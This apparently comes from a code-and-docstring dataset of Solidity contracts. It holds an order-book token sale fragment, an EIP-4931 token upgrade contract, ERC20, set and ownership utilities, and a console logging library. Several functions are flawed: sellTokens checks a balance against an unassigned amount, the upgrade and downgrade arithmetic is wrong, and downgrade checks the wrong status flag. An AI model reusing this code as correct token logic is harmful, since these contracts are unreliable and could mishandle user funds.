/// @return the revenue in wei
function sellTokens(
uint _tokenAmount,
uint _from,
uint _to) returns (uint) {
if (!transferable
|| uint(balances[msg.sender]) < _amount
|| numberOfOrders == 0) throw;
if (_to == 0 || _to > numberOfOrders - 1) _to = numberOfOrders - 1;
uint _tokenAmounto;
uint _amount;
uint _totalAmount;
uint o = _from;
for (uint i = _from; i <= _to; i++) {
if (_tokenAmount > 0 && orders[o].buyer != msg.sender) {
_tokenAmounto = TokenAmount(orders[o].weiGiven, priceMultiplier(0), actualPriceDivisor(0));
if (_tokenAmount >= _tokenAmounto
&& transferFromTo(msg.sender, orders[o].buyer, _tokenAmounto)) {
_tokenAmount -= _tokenAmounto;
_totalAmount += orders[o].weiGiven;
removeOrder(o);
}
else if (_tokenAmount < _tokenAmounto
&& transferFromTo(msg.sender, orders[o].buyer, _tokenAmount)) {
_amount = weiAmount(_tokenAmount, priceMultiplier(0), actualPriceDivisor(0));
orders[o].weiGiven -= _amount;
_totalAmount += _amount;
i = _to + 1;
}
else o += 1;
}
else o += 1;
}
if (!msg.sender.send(_totalAmount)) throw;
else return _totalAmount;
}
/// @notice Function to remove your orders and refund
/// @param _from Index of the first order
/// @param _to Index of the last order
/// @return Whether the function was successful or not
function removeOrders(
uint _from,
uint _to) returns (bool) {
if (_to == 0 || _to > numberOfOrders) _to = numberOfOrders -1;
uint _totalAmount;
uint o = _from;
for (uint i = _from; i <= _to; i++) {
if (orders[o].buyer == msg.sender) {
_totalAmount += orders[o].weiGiven;
removeOrder(o);
} else o += 1;
}
if (!msg.sender.send(_totalAmount)) throw;
else return true;
}
}
|
Internal function to create a buy order _buyer The address of the buyer _weiGiven The amount in wei given by the buyer
|
function addOrder(
address _buyer,
uint _weiGiven) internal {
uint i;
numberOfOrders += 1;
if (numberOfOrders > orders.length) i = orders.length++;
else i = numberOfOrders - 1;
orders[i].buyer = _buyer;
orders[i].weiGiven = _weiGiven;
}
| 5,343,517 |
//SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./IEIP4931.sol";
contract SourceUpgrade is IEIP4931 {
using SafeERC20 for IERC20;
uint256 constant RATIO_SCALE = 10**18;
IERC20 private source;
IERC20 private destination;
bool private upgradeStatus;
bool private downgradeStatus;
uint256 private numeratorRatio;
uint256 private denominatorRatio;
uint256 private sourceUpgradedTotal;
mapping(address => uint256) public upgradedBalance;
constructor(address _source, address _destination, bool _upgradeStatus, bool _downgradeStatus, uint256 _numeratorRatio, uint256 _denominatorRatio) {
require(_source != _destination, "SourceUpgrade: source and destination addresses are the same");
require(_source != address(0), "SourceUpgrade: source address cannot be zero address");
require(_destination != address(0), "SourceUpgrade: destination address cannot be zero address");
require(_numeratorRatio > 0, "SourceUpgrade: numerator of ratio cannot be zero");
require(_denominatorRatio > 0, "SourceUpgrade: denominator of ratio cannot be zero");
source = IERC20(_source);
destination = IERC20(_destination);
upgradeStatus = _upgradeStatus;
downgradeStatus = _downgradeStatus;
numeratorRatio = _numeratorRatio;
denominatorRatio = _denominatorRatio;
}
/// @dev A getter to determine the contract that is being upgraded from ("source contract")
/// @return The address of the source token contract
function upgradeSource() external view returns(address) {
return address(source);
}
/// @dev A getter to determine the contract that is being upgraded to ("destination contract")
/// @return The address of the destination token contract
function upgradeDestination() external view returns(address) {
return address(destination);
}
/// @dev The method will return true when the contract is serving upgrades and otherwise false
/// @return The status of the upgrade as a boolean
function isUpgradeActive() external view returns(bool) {
return upgradeStatus;
}
/// @dev The method will return true when the contract is serving downgrades and otherwise false
/// @return The status of the downgrade as a boolean
function isDowngradeActive() external view returns(bool) {
return downgradeStatus;
}
/// @dev A getter for the ratio of destination tokens to source tokens received when conducting an upgrade
/// @return Two uint256, the first represents the numerator while the second represents
/// the denominator of the ratio of destination tokens to source tokens allotted during the upgrade
function ratio() external view returns(uint256, uint256) {
return (numeratorRatio, denominatorRatio);
}
/// @dev A getter for the total amount of source tokens that have been upgraded to destination tokens.
/// The value may not be strictly increasing if the downgrade Optional Ext. is implemented.
/// @return The number of source tokens that have been upgraded to destination tokens
function totalUpgraded() external view returns(uint256) {
return sourceUpgradedTotal;
}
/// @dev A method to mock the upgrade call determining the amount of destination tokens received from an upgrade
/// as well as the amount of source tokens that are left over as remainder
/// @param sourceAmount The amount of source tokens that will be upgraded
/// @return destinationAmount A uint256 representing the amount of destination tokens received if upgrade is called
/// @return sourceRemainder A uint256 representing the amount of source tokens left over as remainder if upgrade is called
function computeUpgrade(uint256 sourceAmount)
public
view
returns (uint256 destinationAmount, uint256 sourceRemainder)
{
sourceRemainder = sourceAmount % (numeratorRatio / denominatorRatio);
uint256 upgradeableAmount = sourceAmount - (sourceRemainder * RATIO_SCALE);
destinationAmount = upgradeableAmount * (numeratorRatio / denominatorRatio);
}
/// @dev A method to mock the downgrade call determining the amount of source tokens received from a downgrade
/// as well as the amount of destination tokens that are left over as remainder
/// @param destinationAmount The amount of destination tokens that will be downgraded
/// @return sourceAmount A uint256 representing the amount of source tokens received if downgrade is called
/// @return destinationRemainder A uint256 representing the amount of destination tokens left over as remainder if upgrade is called
function computeDowngrade(uint256 destinationAmount)
public
view
returns (uint256 sourceAmount, uint256 destinationRemainder)
{
destinationRemainder = destinationAmount % (denominatorRatio / numeratorRatio);
uint256 upgradeableAmount = destinationAmount - (destinationRemainder * RATIO_SCALE);
sourceAmount = upgradeableAmount / (denominatorRatio / numeratorRatio);
}
/// @dev A method to conduct an upgrade from source token to destination token.
/// The call will fail if upgrade status is not true, if approve has not been called
/// on the source contract, or if sourceAmount is larger than the amount of source tokens at the msg.sender address.
/// If the ratio would cause an amount of tokens to be destroyed by rounding/truncation, the upgrade call will
/// only upgrade the nearest whole amount of source tokens returning the excess to the msg.sender address.
/// Emits the Upgrade event
/// @param _to The address the destination tokens will be sent to upon completion of the upgrade
/// @param sourceAmount The amount of source tokens that will be upgraded
function upgrade(address _to, uint256 sourceAmount) external {
require(upgradeStatus == true, "SourceUpgrade: upgrade status is not active");
(uint256 destinationAmount, uint256 sourceRemainder) = computeUpgrade(sourceAmount);
sourceAmount -= sourceRemainder;
require(sourceAmount > 0, "SourceUpgrade: disallow conversions of zero value");
upgradedBalance[msg.sender] += sourceAmount;
source.safeTransferFrom(
msg.sender,
address(this),
sourceAmount
);
destination.safeTransfer(_to, destinationAmount);
sourceUpgradedTotal += sourceAmount;
emit Upgrade(msg.sender, _to, sourceAmount, destinationAmount);
}
/// @dev A method to conduct a downgrade from destination token to source token.
/// The call will fail if downgrade status is not true, if approve has not been called
/// on the destination contract, or if destinationAmount is larger than the amount of destination tokens at the msg.sender address.
/// If the ratio would cause an amount of tokens to be destroyed by rounding/truncation, the downgrade call will only downgrade
/// the nearest whole amount of destination tokens returning the excess to the msg.sender address.
/// Emits the Downgrade event
/// @param _to The address the source tokens will be sent to upon completion of the downgrade
/// @param destinationAmount The amount of destination tokens that will be downgraded
function downgrade(address _to, uint256 destinationAmount) external {
require(upgradeStatus == true, "SourceUpgrade: upgrade status is not active");
(uint256 sourceAmount, uint256 destinationRemainder) = computeDowngrade(destinationAmount);
destinationAmount -= destinationRemainder;
require(destinationAmount > 0, "SourceUpgrade: disallow conversions of zero value");
require(upgradedBalance[msg.sender] >= sourceAmount,
"SourceUpgrade: can not downgrade more than previously upgraded"
);
upgradedBalance[msg.sender] -= sourceAmount;
destination.safeTransferFrom(
msg.sender,
address(this),
destinationAmount
);
source.safeTransfer(_to, sourceAmount);
sourceUpgradedTotal -= sourceAmount;
emit Downgrade(msg.sender, _to, sourceAmount, destinationAmount);
}
}
|
A method to mock the downgrade call determining the amount of source tokens received from a downgrade as well as the amount of destination tokens that are left over as remainder destinationAmount The amount of destination tokens that will be downgraded return sourceAmount A uint256 representing the amount of source tokens received if downgrade is called return destinationRemainder A uint256 representing the amount of destination tokens left over as remainder if upgrade is called
|
function computeDowngrade(uint256 destinationAmount)
public
view
returns (uint256 sourceAmount, uint256 destinationRemainder)
{
destinationRemainder = destinationAmount % (denominatorRatio / numeratorRatio);
uint256 upgradeableAmount = destinationAmount - (destinationRemainder * RATIO_SCALE);
sourceAmount = upgradeableAmount / (denominatorRatio / numeratorRatio);
}
| 6,393,422 |
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: GPL-3.0-only
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface INBUNIERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Log(string log);
}
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logByte(byte p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(byte)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
